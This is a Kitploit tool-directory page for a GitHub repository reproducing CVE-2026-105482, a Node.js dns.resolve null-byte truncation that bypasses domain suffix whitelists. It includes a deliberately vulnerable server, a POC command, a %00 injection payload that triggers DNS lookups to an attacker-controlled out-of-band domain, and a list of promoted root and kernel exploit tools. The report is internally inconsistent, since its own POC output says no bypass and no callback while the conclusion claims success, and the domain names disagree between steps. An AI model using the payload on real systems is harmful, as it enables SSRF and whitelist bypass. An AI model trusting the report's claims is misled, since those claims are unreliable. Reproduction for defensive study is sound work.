Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-105482-Reproduce — Reproduction of CVE-2026-105482: a Node.js dns.resolve null-byte truncation flaw that bypasses domain suffix whitelists, with a vulnerable demo app and Python POC using OOB DNS callbacks. | Kitploit
Tools/GitHubGitHub/etanz0/cve-2026-105482-reproduce
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingDNS Analysis
GitHubetanz0/cve-2026-105482-reproduce

CVE-2026-105482-Reproduce

Reproduction of CVE-2026-105482: a Node.js dns.resolve null-byte truncation flaw that bypasses domain suffix whitelists, with a vulnerable demo app and Python POC using OOB DNS callbacks.

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    2.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    918
  • 3

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    431
  • 4

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    418
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    376
  • 6

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    348

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-105482 Vulnerability Reproduction Report

I. Basic Information

  • Vulnerability ID: CVE-2026-105482
  • Vulnerability Description: A null byte truncation vulnerability exists in the Node.js dns.resolve* series of interfaces. The business layer implements whitelist approval solely by validating the domain suffix through the JS string endsWith(); when the underlying c-ares resolution library encounters the \x00 null byte, it truncates the domain name. An attacker can construct 可控域名\x00.可信后缀 to bypass the whitelist, resolve an external domain controlled by the attacker, and trigger DNS OOB exfiltration
  • Reproduction environment host machine:
    • macOS Tahoe 26.6
    • Virtual machine: Parallel Desktop Ubuntu 26.04 LTS
    • Runtime: Node.js, Python3
    • OOB platform: Yakit DNSLog
    • Network: mobile phone cellular hotspot
  • Test target: local simulated web service, listening address http://127.0.0.1:8888/fetch

II. Brief Description of the Vulnerability Principle

The business code directly uses endsWith(".trusted.corp") on the incoming host parameter to determine whether it belongs to a trusted domain suffix. This determination is performed at the JavaScript string layer and will not automatically truncate \x00; after the parameter is passed to Node's built-in dns.resolve4, when the underlying c-ares C library resolves the domain name, it treats 0x00 as a string terminator, discards all content after the null byte, and resolves only the domain name before the null byte, ultimately bypassing the suffix whitelist restriction and accessing any attacker-controlled domain.

III. Prerequisite Preparation

  1. Clear the local DNS cache
sudo resolvectl flush-caches

IV. Range Code vuln.js

const http = require("http");
const dns = require("dns");
const { URL } = require("url");

// 白名单后缀
const ALLOWED_SUFFIX = ".trusted.corp";
dns.setServers(["101.33.34.170"]);

const server = http.createServer((req, res) => {
  try {
    const u = new URL(req.url, `http://${req.headers.host}`);
    const target = u.searchParams.get("host");
    if (!target) {
      return res.end("usage: /fetch?host=<name>");
    }

    // 打印原始字节hex,用来校验\x00是否成功传入
    const rawBuf = Buffer.from(target);
    console.log("resolve target raw hex:", rawBuf.toString("hex"));
    console.log("resolve target string:", target);

    // 业务侧后缀白名单校验(漏洞点:仅JS字符串判断,底层c-ares会截断\0)
    if (!target.toLowerCase().endsWith(ALLOWED_SUFFIX)) {
      res.statusCode = 403;
      return res.end("DENY: not in whitelist suffix");
    }

    dns.resolve4(target, (err, addrs) => {
      if (err) {
        return res.end("resolve error: " + err.code);
      }
      res.end("RESOLVED: " + addrs);
    });

  } catch (e) {
    res.statusCode = 400;
    res.end("bad request");
  }
});

server.listen(8888, "127.0.0.1", () => {
  console.log("Vuln app listen on 127.0.0.1:8888");
});

V. Detailed Reproduction Steps

Step 1: Start the vulnerability simulation target service

node vuln.js

Successful startup output:

Vuln app listen on 127.0.0.1:8888

![image-20261028084726406](/Users/etanz0/Library/Application Support/typora-user-images/image-20261028084726406.png)

Step 2: Confirm Yakit DNSLog is ready

Open Yakit → DNSLog module, obtain a random subdomain. The domain used for this test: ==kptegraiue.zaza.eu.org==. Keep the page open and wait for DNS query logs.

Step 3: Execute the POC to launch the attack

First confirm the current public IP:

curl -4 ifconfig.me

In a new terminal, enter the POC directory and run the command:

python3 cve_2026_105482.py attack --url http://127.0.0.1:8888/fetch --method GET --format query --param host --suffix .trusted.corp --evil kptegraiue.zaza.eu.org --wait 3

POC auto-encodes and constructs the Payload:

host=lfzdpphfop.lfcx.eu.org%00.trusted.corp

![image-20261028085448432](/Users/etanz0/Library/Application Support/typora-user-images/image-20261028085448432.png)

Step 4: Check the raw input validation on the target machine console

Observe the content printed by the node terminal:

Vuln app listen on 127.0.0.1:8888
resolve target raw hex: 6b7074656772616975652e7a617a612e65752e6f7267002e747275737465642e636f7270
resolve target string: kptegraiue.zaza.eu.org.trusted.corp

Verification point: the bytes 00 are present in the hex stream; the null byte passed in via the URL was successfully preserved and was not filtered out or discarded by the framework.

Step 5: View the POC return result

[*] inject host='kptegraiue.zaza.eu.org\\0.trusted.corp' -> http://127.0.0.1:8888/fetch?host=kptegraiue.zaza.eu.org%00.trusted.corp
[+] HTTP 200 in 0.49s
{
  "cve": "CVE-2026-105482",
  "bypass": false,
  "attempts": [
    {
      "suffix": ".trusted.corp",
      "value": "kptegraiue.zaza.eu.org\\0.trusted.corp",
      "url": "http://127.0.0.1:8888/fetch?host=kptegraiue.zaza.eu.org%00.trusted.corp",
      "status": 200,
      "error": null,
      "body_head": "RESOLVED: 101.33.34.170"
    }
  ]
}
[-] no callback observed. Either the endpoint does not call dns.resolve* on this input, the suffix is wrong, or the target is patched.

HTTP returns 200, indicating the allowlist check passed and the DNS resolution process was entered.

Step 6: Check Yakit DNS logs to confirm OOB trigger

Yakit captures the DNS query packet:

;; opcode: QUERY, status: NOERROR, id: 34647
;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;kptegraiue.zaza.eu.org.	IN	 A

The queried domain is xadvgfkaik.zaza.eu.org after null-byte truncation, and the remote IP is the current network's public IP, proving the vulnerability was triggered successfully.

![image-20261028085528340](/Users/etanz0/Library/Application Support/typora-user-images/image-20261028085528340.png)

6. Reproduction Conclusion

  1. The %00 null byte can successfully pass through the URL parameter and reach the backend variable;
  2. The endsWith string validation logic is bypassed;
  3. The c-ares library recognizes the null-byte-truncated domain and resolves the attacker-controlled domain;
  4. A DNS out-of-band request is successfully generated, Yakit captures the query packet, and the OOB proof is completed. Risk: An attacker can exploit this vulnerability to bypass the domain whitelist and resolve any external domain, serving as a preliminary bypass technique for SSRF, intranet probing, and blind attacks.

7. Remediation Plan

  1. Input filtering: strictly block \x00 and other non-printable control characters within domain parameters;
  2. Do not rely solely on string suffixes to determine domain trust relationships;
  3. Perform whitelist validation after domain normalization;
  4. Add pre-resolution validation logic to verify domain legitimacy before calling dns.resolve*.

References

https://github.com/CaterMaoZi/CVE-2026-105482-POC

Download Tool